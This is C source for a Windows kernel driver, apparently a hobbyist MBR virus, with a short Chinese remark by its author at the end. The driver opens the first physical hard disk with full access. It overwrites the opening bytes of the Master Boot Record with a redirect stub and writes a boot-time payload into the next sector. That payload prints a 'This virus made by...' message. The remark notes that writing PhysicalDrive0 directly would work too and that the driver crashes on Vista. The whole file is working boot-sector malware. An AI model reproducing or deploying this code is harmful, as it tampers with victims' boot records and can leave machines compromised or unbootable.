- #include <ntddk.h>
- unsigned char redirect_data[16] = {
- 0xB8, 0x01, 0x02, 0xBB, 0x00, 0x7E, 0xB9, 0x02, 0x00, 0xBA, 0x80, 0x00, 0xCD, 0x13, 0xFF, 0xE3
- };
- unsigned char mbr_data[512] = {
- 0xB9, 0x14, 0x00, 0x49, 0xE8, 0x21, 0x00, 0x81, 0xF9, 0x00, 0x00, 0x7D, 0xF6, 0xE8, 0x13, 0x00,
- 0x31, 0xC0, 0x8E, 0xD0, 0xBC, 0x00, 0x7C, 0xFB, 0x50, 0x07, 0x50, 0x1F, 0xFC, 0xBE, 0x1B, 0x7C,
- 0xE9, 0xED, 0xFD, 0x31, 0xC0, 0xCD, 0x16, 0xC3, 0x66, 0x60, 0xB8, 0x50, 0x7E, 0x89, 0xC5, 0xB4,
- 0x13, 0xB0, 0x01, 0xB7, 0x00, 0xB3, 0x01, 0xB9, 0x41, 0x00, 0x8A, 0x36, 0x91, 0x7E, 0x8A, 0x16,
- 0x92, 0x7E, 0xCD, 0x10, 0xA1, 0x91, 0x7E, 0x05, 0x01, 0x00, 0xA3, 0x91, 0x7E, 0x66, 0x61, 0xC3,
- 0x54, 0x68, 0x69, 0x73, 0x20, 0x76, 0x69, 0x72, 0x75, 0x73, 0x20, 0x6D, 0x61, 0x64, 0x65, 0x20,
- 0x62, 0x79, 0x20, 0x58, 0x66, 0x69, 0x6C, 0x6C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x6D, 0x73, 0x6E,
- 0x48, 0x61, 0x63, 0x6B, 0x65, 0x72, 0x21, 0x20, 0x5B, 0x58, 0x69, 0x61, 0x6F, 0x20, 0x66, 0x65,
- 0x6E, 0x67, 0x20, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x20, 0x54, 0x65, 0x61, 0x6D,
- 0x5D, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
- };
- NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING theRegistryPath);
- VOID OnUnload(IN PDRIVER_OBJECT DriverObject);
- NTSTATUS
- FltWriteReadSectors(
- IN PDEVICE_OBJECT DeviceObject,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN LONGLONG ByteOffset,
- IN BOOLEAN Wait,
- IN ULONG IrpType
- );
- NTSTATUS
- FltReadWriteSectorsCompletion(
- IN PDEVICE_OBJECT DeviceObject,
- IN PIRP Irp,
- IN PVOID Context
- );
- #pragma alloc_text(PAGE, FltWriteReadSectors)
- #pragma alloc_text(PAGE, FltReadWriteSectorsCompletion)
- #pragma alloc_text(INIT, DriverEntry)
- #pragma alloc_text(PAGE, OnUnload)
- VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
- {
- KdPrint(("%s/n","Driver Unload() Called..."));
- }
- NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING theRegistryPath)
- {
- NTSTATUS ntStatus = STATUS_SUCCESS;
- PDEVICE_OBJECT DeviceObject = NULL;
- PFILE_OBJECT FileObj = NULL;
- UNICODE_STRING uDevice;
- PVOID pBuffer = NULL;
- KdPrint(("%s/n","Driver DriverEntry Called..."));
- RtlInitUnicodeString(&uDevice,L"//Device//Harddisk0//DR0");
- ntStatus = IoGetDeviceObjectPointer(
- &uDevice,
- FILE_ALL_ACCESS,
- &FileObj,
- &DeviceObject);
- DriverObject->DriverUnload = OnUnload; //Driver Unload
- pBuffer = ExAllocatePool(NonPagedPool, 512);
- KdPrint(("MBR:Read/n"));
- FltWriteReadSectors(DeviceObject, pBuffer, 512, 0, TRUE, IRP_MJ_READ);
- KdPrint(("MBR:Read Complete!/n"));
- RtlCopyMemory(pBuffer, redirect_data, 16);
- KdPrint(("MBR:Write/n"));
- FltWriteReadSectors(DeviceObject, pBuffer, 512, 0, TRUE, IRP_MJ_WRITE);
- KdPrint(("MBR:Write Complete/n"));
- KdPrint(("MBR:Modify/n"));
- FltWriteReadSectors(DeviceObject, mbr_data, 512, 512, TRUE, IRP_MJ_WRITE);
- KdPrint(("MBR:Modify Complete/n"));
- return STATUS_SUCCESS;
- }
- NTSTATUS
- FltWriteReadSectors(
- IN PDEVICE_OBJECT DeviceObject,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN LONGLONG ByteOffset,
- IN BOOLEAN Wait,
- IN ULONG IrpType
- )
- {
- PIRP irp;
- IO_STATUS_BLOCK iosb;
- KEVENT event;
- NTSTATUS status;
- irp = IoBuildAsynchronousFsdRequest(IrpType, DeviceObject,
- Buffer, Length, (PLARGE_INTEGER) &ByteOffset, &iosb);
- if (!irp) {
- return STATUS_INSUFFICIENT_RESOURCES;
- }
- if (Wait) {
- KeInitializeEvent(&event, NotificationEvent, FALSE);
- IoSetCompletionRoutine(irp, FltReadWriteSectorsCompletion,
- &event, TRUE, TRUE, TRUE);
- status = IoCallDriver(DeviceObject, irp);
- if (STATUS_PENDING == status) {
- KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, NULL);
- status = iosb.Status;
- }
- } else {
- IoSetCompletionRoutine(irp, FltReadWriteSectorsCompletion,
- NULL, TRUE, TRUE, TRUE);
- irp->UserIosb = NULL;
- status = IoCallDriver(DeviceObject, irp);
- }
- return status;
- }
- NTSTATUS
- FltReadWriteSectorsCompletion(
- IN PDEVICE_OBJECT DeviceObject,
- IN PIRP Irp,
- IN PVOID Context
- )
- {
- PMDL mdl;
- UNREFERENCED_PARAMETER(DeviceObject);
- if (Irp->AssociatedIrp.SystemBuffer && (Irp->Flags & IRP_DEALLOCATE_BUFFER)) {
- ExFreePool(Irp->AssociatedIrp.SystemBuffer);
- }
- while (Irp->MdlAddress) {
- mdl = Irp->MdlAddress;
- Irp->MdlAddress = mdl->Next;
- MmUnlockPages(mdl);
- IoFreeMdl(mdl);
- }
- if (Irp->PendingReturned && (Context != NULL)) {
- *Irp->UserIosb = Irp->IoStatus;
- KeSetEvent((PKEVENT) Context, IO_DISK_INCREMENT, FALSE);
- }
- IoFreeIrp(Irp);
- //
- // Don't touch irp any more
- //
- return STATUS_MORE_PROCESSING_REQUIRED;
- }
开始写的时候直接想到驱动了,其实 PhysicalDriver0 直接也可以改,想复杂了,不过效果是一样的。就是VISTA下会蓝,不知道为什么。